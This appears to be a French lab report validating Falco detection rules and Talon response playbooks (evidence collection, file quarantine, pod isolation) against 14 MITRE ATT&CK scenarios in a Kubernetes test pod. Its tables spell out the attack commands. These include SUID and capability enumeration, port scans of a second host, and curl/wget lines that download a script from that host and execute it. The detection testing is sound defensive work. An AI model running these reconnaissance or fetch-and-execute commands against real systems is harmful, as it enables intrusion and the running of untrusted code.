14T1059.004Préparation et exécution d’un script shellprintf '%s\n' '#!/bin/sh' 'id' 'uname -a' 'ps aux | head -10' 'ls -la /tmp | head -20' > /tmp/manual-shell.sh; chmod +x /tmp/manual-shell.sh; /bin/sh /tmp/manual-shell.sh; rm -f /tmp/manual-shell.shEXECUTED2026-11-09T06:12:46.682Z2026-11-09T06:12:53.111ZYESCustom T1059.004 Non Interactive Shell; Custom T1082 Enumeration Script; Shell Script Executed From Writable Container Path; Custom T1057 Process Discovery; Drop and execute new binary in container8PR10 Route S14 PB3YESYESPB3PB3 Routing Validation Playbook S14YESIsolement du podSKIPPEDYES4806d7a192c08d1e4bd967a04436aa5d2026-11-09T06:12:46.806584234+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S14; printf '%s\n' '#!/bin/sh' 'id' 'uname -a' 'ps aux | head -10' 'ls -la /tmp | head -20' > /tmp/manual-shell.sh; chmod +x /tmp/manual-shell.sh; /bin/sh /tmp/manual-shell.sh; rm -f /tmp/manual-shell.sh parent=<NA> container=cible1 pod=cible1) || 2026-11-09T06:12:46.806584234+0000: Warning CUSTOM T1082 - Exécution d’un script d’énumération (user=root command=sh -c PR10_SCENARIO=S14; printf '%s\n' '#!/bin/sh' 'id' 'uname -a' 'ps aux | head -10' 'ls -la /tmp | head -20' > /tmp/manual-shell.sh; chmod +x /tmp/manual-shell.sh; /bin/sh /tmp/manual-shell.sh; rm -f /tmp/manual-shell.sh parent=<NA> container=cible1) || 2026-11-09T06:12:46.806584234+0000: Warning Exécution suspecte d’un script shell dans un conteneur (user=root uid=0 command=sh -c PR10_SCENARIO=S14; printf '%s\n' '#!/bin/sh' 'id' 'uname -a' 'ps aux | head -10' 'ls -la /tmp | head -20' > /tmp/manual-shell.sh; chmod +x /tmp/manual-shell.sh; /bin/sh /tmp/manual-shell.sh; rm -f /tmp/manual-shell.sh process=sh parent=<NA> container=cible1 pod=cible1 namespace=default)2026-11-09T06:12:46.806584234+0000: Warning PR10 ROUTE S14 PB3 (pod=cible1 namespace=default scenario=S14 commande=sh -c PR10_SCENARIO=S14; printf '%s\n' '#!/bin/sh' 'id' 'uname -a' 'ps aux | head -10' 'ls -la /tmp | head -20' > /tmp/manual-shell.sh; chmod +x /tmp/manual-shell.sh; /bin/sh /tmp/manual-shell.sh; rm -f /tmp/manual-shell.sh)ROUTE-S14-aws-20261109-0608

Pipeline de réponse PB1 / PB2 / PB3

Source : artefacts/bruts/response-pipeline.tsv · 3 ligne(s)

Chaîne complète par playbook : détection Falco, transmission Falcosidekick, réception et action Talon, vérification du résultat.

PB1 · T1057
playbookPB1
mitre_idT1057
attackps aux
attack_rc0
falco_rulePR10 Response Trigger PB1 Process Discovery
falco_detectedYES
sidekick_forwardedYES
talon_receivedYES
talon_playbookPB1 Evidence Collection Playbook
talon_matchedYES
playbook_startedYES
primary_actionPB1 Collect Runtime Evidence
primary_action_successYES
notify_adminN/A
response_verifiedYES
final_statusPASS
namespacedefault
podcible1
proof_pathresponse/pb1/
detailFalco=YES
Sidekick=YES
TalonReceived=YES
TalonMatch=YES
Started=YES
Action=YES
Evidence=YES
Severity=LOW
TalonK8sEvent=YES
SidekickHTTP200=6
start_ts2026-11-09T06:13:24Z
end_ts2026-11-09T06:13:27Z
PB2 · T1105
playbookPB2
mitre_idT1105
attack/tmp/manual-curl-tool.sh préparé en mode 0755; déclencheur PR10_PB2_RESPONSE=1
attack_rc0
falco_rulePR10 Response Trigger PB2 Tool Transfer
falco_detectedYES
sidekick_forwardedYES
talon_receivedYES
talon_playbookPB2 File Quarantine Playbook
talon_matchedYES
playbook_startedYES
primary_actionPB2 Quarantine Artifact
primary_action_successYES
notify_adminN/A
response_verifiedYES
final_statusPASS
namespacedefault
podcible1
proof_pathresponse/pb2/
detailFalco=YES
Sidekick=YES
TalonReceived=YES
TalonMatch=YES
Started=YES
Action=YES
Quarantine=YES
ModeBefore=755
ModeAfter=400
HashMatch=YES
Severity=HIGH
TalonK8sEvent=YES
SidekickHTTP200=10
start_ts2026-11-09T06:13:32Z
end_ts2026-11-09T06:13:35Z
PB3 · T1059.004
playbookPB3
mitre_idT1059.004
attackPR10_PB3_RESPONSE=1; /bin/sh /tmp/manual-response-shell.sh
attack_rc0
falco_rulePR10 Response Trigger PB3 Shell Execution
falco_detectedYES
sidekick_forwardedYES
talon_receivedYES
talon_playbookPB3 Pod Isolation Playbook
talon_matchedYES
playbook_startedYES
primary_actionPB3 Isolate Pod
primary_action_successYES
notify_adminN/A
response_verifiedYES
final_statusPASS
namespacedefault
podcible1
proof_pathresponse/pb3/
detailFalco=YES
Sidekick=YES
TalonReceived=YES
TalonMatch=YES
Started=YES
Action=YES
Containment=YES
Outbound=BLOCKED
Inbound=BLOCKED
OldPreserved=YES
Replacement=cible1-replacement-99b589dcc-cq7bd
ServiceAfter=OPEN
Severity=URGENT
TalonK8sEvent=NO
SidekickHTTP200=10
start_ts2026-11-09T06:13:44Z
end_ts2026-11-09T06:13:59Z

Exécution des 14 scénarios (vue brute)

Source : artefacts/bruts/manual-results.tsv · 14 ligne(s)

Commande exacte, horodatages de début et de fin, playbook attendu, marqueur de routage observé.

numbermitre_idscenario_namecommandexecution_statusexit_codestart_tsend_tsexpected_playbookroute_labelroute_observedadmin_notifiedseverityincident_id
1T1082Découverte des répertoires accessibles en écriture et des permissionsfind /tmp /var/tmp /dev/shm -maxdepth 2 -type d -writable -print 2>/dev/null; stat -c '%A %U:%G %n' /tmp /var/tmp /dev/shm 2>/dev/null; touch /tmp/manual-write-probe; stat /tmp/manual-write-probe >/dev/null; rm -f /tmp/manual-write-probeEXECUTED02026-11-09T06:11:11.510Z2026-11-09T06:11:17.945ZPB1falco-route-s01YESSKIPPEDLOWROUTE-S01-aws-20261109-0608
2T1082Énumération des privilèges et de l’hôteuname -a; cat /etc/os-release 2>/dev/null | head -20; id; find /usr/bin /usr/sbin -type f \( -perm -4000 -o -perm -2000 \) -ls 2>/dev/null | head -40; if command -v getcap >/dev/null 2>&1; then getcap -r / 2>/dev/null | head -100; fiEXECUTED02026-11-09T06:11:18.060Z2026-11-09T06:11:24.779ZPB1falco-route-s02YESSKIPPEDLOWROUTE-S02-aws-20261109-0608
3T1057Découverte des processus utilisateur et des lignes de commandeps aux | grep root | head -20; ps -eo pid,ppid,user,comm,args --sort=pid | head -30EXECUTED02026-11-09T06:11:24.878Z2026-11-09T06:11:31.516ZPB1falco-route-s03YESSKIPPEDLOWROUTE-S03-aws-20261109-0608
4T1057Découverte détaillée des processus systèmeps aux; ps -ef | head -40; ps -eo pid,ppid,user,stat,comm --sort=pid | head -40EXECUTED02026-11-09T06:11:31.609Z2026-11-09T06:11:38.169ZPB1falco-route-s04YESSKIPPEDLOWROUTE-S04-aws-20261109-0608
5T1057Énumération des processus et de procfsps; find /proc -maxdepth 1 -type d -regex '/proc/[0-9]+' 2>/dev/null | head -25; for p in /proc/[0-9]*/cmdline; do tr '\0' ' ' < "$p" 2>/dev/null | head -c 160; echo; done | head -30EXECUTED02026-11-09T06:11:38.264Z2026-11-09T06:11:44.702ZPB1falco-route-s05YESSKIPPEDLOWROUTE-S05-aws-20261109-0608
6T1057Découverte de la virtualisation et des processus de conteneurps aux | grep -Ei 'qemu|vmware|virtualbox|hyperv|containerd|kube|docker' | head -25 || true; cat /proc/1/cgroup 2>/dev/null | head -20; test -f /.dockerenv && echo container-marker-present || trueEXECUTED02026-11-09T06:11:44.794Z2026-11-09T06:11:51.325ZPB1falco-route-s06YESSKIPPEDLOWROUTE-S06-aws-20261109-0608
7T1083Énumération récursive des répertoires et des fichiersls -la / /etc /tmp /var/tmp >/dev/null; find /etc -maxdepth 2 -type f 2>/dev/null | head -60; find /tmp /var/tmp -maxdepth 2 -type f 2>/dev/null | head -40EXECUTED02026-11-09T06:11:51.426Z2026-11-09T06:11:57.812ZPB1falco-route-s07YESSKIPPEDLOWROUTE-S07-aws-20261109-0608
8T1083Recherche de fichiers nommés et inspection des métadonnéesmkdir -p /tmp/manual-discovery; touch /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf /tmp/manual-discovery/manual-note.txt; find /tmp -type f -name 'manual-*' -print; stat /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf >/dev/null; rm -rf /tmp/manual-discoveryEXECUTED02026-11-09T06:11:57.905Z2026-11-09T06:12:04.328ZPB1falco-route-s08YESSKIPPEDLOWROUTE-S08-aws-20261109-0608
9T1083Parcours et inspection du répertoire de travailpwd; cd /tmp; pwd; ls -la /tmp | head -40; find /tmp -maxdepth 1 -type f -print 2>/dev/null | head -25; stat /tmp 2>/dev/nullEXECUTED02026-11-09T06:12:04.414Z2026-11-09T06:12:10.802ZPB1falco-route-s09YESSKIPPEDLOWROUTE-S09-aws-20261109-0608
10T1046Identification des services réseaunmap -Pn -sV --version-light -p 80,443,8080 cible2EXECUTED02026-11-09T06:12:10.895Z2026-11-09T06:12:24.834ZPB1falco-route-s10YESSKIPPEDLOWROUTE-S10-aws-20261109-0608
11T1046Découverte de services TCP sur plusieurs portspython3 -c "import socket; host='cible2'; ports=(80,443,8080); [(lambda p: (print('probe',p), (lambda s: (s.settimeout(1), s.connect_ex((host,p)), print('result',p,s.connect_ex((host,p))), s.close()))(socket.socket())))(p) for p in ports]"EXECUTED02026-11-09T06:12:24.966Z2026-11-09T06:12:33.458ZPB1falco-route-s11YESSKIPPEDLOWROUTE-S11-aws-20261109-0608
12T1105Transfert, inspection et exécution d’un outil avec curlcurl -fsS http://cible2/manual-tool.sh -o /tmp/manual-curl-tool.sh; sha256sum /tmp/manual-curl-tool.sh; chmod +x /tmp/manual-curl-tool.sh; ls -l /tmp/manual-curl-tool.sh; /bin/sh /tmp/manual-curl-tool.sh; rm -f /tmp/manual-curl-tool.shEXECUTED02026-11-09T06:12:33.551Z2026-11-09T06:12:39.981ZPB2falco-route-s12YESSKIPPEDHIGHROUTE-S12-aws-20261109-0608
13T1105Transfert, préparation et exécution d’un outil avec wgetwget -q http://cible2/manual-tool.sh -O /tmp/.manual-wget-tool.sh; sha256sum /tmp/.manual-wget-tool.sh; chmod +x /tmp/.manual-wget-tool.sh; cp /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh; /bin/sh /tmp/manual-stage-copy.sh; rm -f /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.shEXECUTED02026-11-09T06:12:40.099Z2026-11-09T06:12:46.594ZPB2falco-route-s13YESSKIPPEDHIGHROUTE-S13-aws-20261109-0608
14T1059.004Préparation et exécution d’un script shellprintf '%s\n' '#!/bin/sh' 'id' 'uname -a' 'ps aux | head -10' 'ls -la /tmp | head -20' > /tmp/manual-shell.sh; chmod +x /tmp/manual-shell.sh; /bin/sh /tmp/manual-shell.sh; rm -f /tmp/manual-shell.shEXECUTED02026-11-09T06:12:46.682Z2026-11-09T06:12:53.111ZPB3falco-route-s14YESSKIPPEDURGENTROUTE-S14-aws-20261109-0608

Couverture ATT&CK : techniques du projet

Source : artefacts/analyse/caldera-project-coverage.tsv · 6 ligne(s)

Corrélation entre le catalogue CALDERA, les scénarios contrôlés et les règles Falco.

mitre_idtechnique_namecaldera_linux_abilitiescaldera_ability_namesmanual_scenariosfalco_detection_rulescoverage_status
T1046Network Service Scanning2Fingerprint network services; Scan IP for portsS10, S11Custom T1046 Network Service DiscoveryCOVERED
T1057Process Discovery4Find user processes; System processes; View Processes; enumerate VMsS03, S04, S05, S06Custom T1057 Process DiscoveryCOVERED
T1059.004Command and Scripting Interpreter: Unix Shell1Start 54ndc47S14Custom T1059.004 Non Interactive ShellCOVERED
T1082System Information Discovery2Find deletable dirs (per user); Linux Enumeration & Privilege Escalation Discovery ScriptS01, S02Custom Suspicious Filesystem Enumeration; Custom T1082 Enumeration ScriptCOVERED
T1083File and Directory Discovery3List Directory; Locate file from printer queue; Print Working DirectoryS07, S08, S09Custom Suspicious Filesystem EnumerationCOVERED
T1105Ingress Tool Transfer2Manx; SandcatS12, S13Custom T1105 Suspicious Tool TransferCOVERED

Couverture ATT&CK : techniques à examiner

Source : artefacts/analyse/caldera-review-gaps.tsv · 11 ligne(s)

Techniques présentes dans CALDERA (tactiques configurées) sans scénario ni règle Falco dans le projet.

mitre_idtechnique_nametacticcaldera_linux_abilitiessample_abilitiesmanual_scenariosfalco_detection_rulesreview_status
T1016System Network Configuration Discoverydiscovery3Network Interface Configuration; Preferred WIFI; Scan WIFI networks--REVIEW_REQUIRED
T1018Remote System Discoverydiscovery3Collect ARP details; Discover Mail Server; Parse SSH known_hosts--REVIEW_REQUIRED
T1033System Owner/User Discoverydiscovery2Current User; Identify active user--REVIEW_REQUIRED
T1049System Network Connections Discoverydiscovery1Find System Network Connections--REVIEW_REQUIRED
T1069.001Permission Groups Discovery: Local Groupsdiscovery1Permission Groups Discovery--REVIEW_REQUIRED
T1071.001Application Layer Protocol: Web Protocolscommand-and-control1Ragdoll--REVIEW_REQUIRED
T1087.001Account Discovery: Local Accountdiscovery1Find local users--REVIEW_REQUIRED
T1120Peripheral Device Discoverydiscovery1View printer queue--REVIEW_REQUIRED
T1124System Time Discoverydiscovery1Get System Time--REVIEW_REQUIRED
T1201Password Policy Discoverydiscovery1Password Policy--REVIEW_REQUIRED
T1518Software Discoverydiscovery3Check Chrome; Check Go; Check Python--REVIEW_REQUIRED

Politique de réponse (scénario → playbook)

Source : artefacts/bruts/politique-reponse.tsv · 14 ligne(s)

Table de correspondance versionnée dans le dépôt, utilisée par la validation et le routage.

numbermitre_idplaybookroute_ruleroute_playbookroute_actionprimary_actionroute_token
1T1082PB1PR10 Route S01 PB1PB1 Routing Validation Playbook S01S01 PB1 Routing MarkerCollecte de preuvesPR10_SCENARIO=S01
2T1082PB1PR10 Route S02 PB1PB1 Routing Validation Playbook S02S02 PB1 Routing MarkerCollecte de preuvesPR10_SCENARIO=S02
3T1057PB1PR10 Route S03 PB1PB1 Routing Validation Playbook S03S03 PB1 Routing MarkerCollecte de preuvesPR10_SCENARIO=S03
4T1057PB1PR10 Route S04 PB1PB1 Routing Validation Playbook S04S04 PB1 Routing MarkerCollecte de preuvesPR10_SCENARIO=S04
5T1057PB1PR10 Route S05 PB1PB1 Routing Validation Playbook S05S05 PB1 Routing MarkerCollecte de preuvesPR10_SCENARIO=S05
6T1057PB1PR10 Route S06 PB1PB1 Routing Validation Playbook S06S06 PB1 Routing MarkerCollecte de preuvesPR10_SCENARIO=S06
7T1083PB1PR10 Route S07 PB1PB1 Routing Validation Playbook S07S07 PB1 Routing MarkerCollecte de preuvesPR10_SCENARIO=S07
8T1083PB1PR10 Route S08 PB1PB1 Routing Validation Playbook S08S08 PB1 Routing MarkerCollecte de preuvesPR10_SCENARIO=S08
9T1083PB1PR10 Route S09 PB1PB1 Routing Validation Playbook S09S09 PB1 Routing MarkerCollecte de preuvesPR10_SCENARIO=S09
10T1046PB1PR10 Route S10 PB1PB1 Routing Validation Playbook S10S10 PB1 Routing MarkerCollecte de preuvesPR10_SCENARIO=S10
11T1046PB1PR10 Route S11 PB1PB1 Routing Validation Playbook S11S11 PB1 Routing MarkerCollecte de preuvesPR10_SCENARIO=S11
12T1105PB2PR10 Route S12 PB2PB2 Routing Validation Playbook S12S12 PB2 Routing MarkerMise en quarantaine du fichierPR10_SCENARIO=S12
13T1105PB2PR10 Route S13 PB2PB2 Routing Validation Playbook S13S13 PB2 Routing MarkerMise en quarantaine du fichierPR10_SCENARIO=S13
14T1059.004PB3PR10 Route S14 PB3PB3 Routing Validation Playbook S14S14 PB3 Routing MarkerIsolement du podPR10_SCENARIO=S14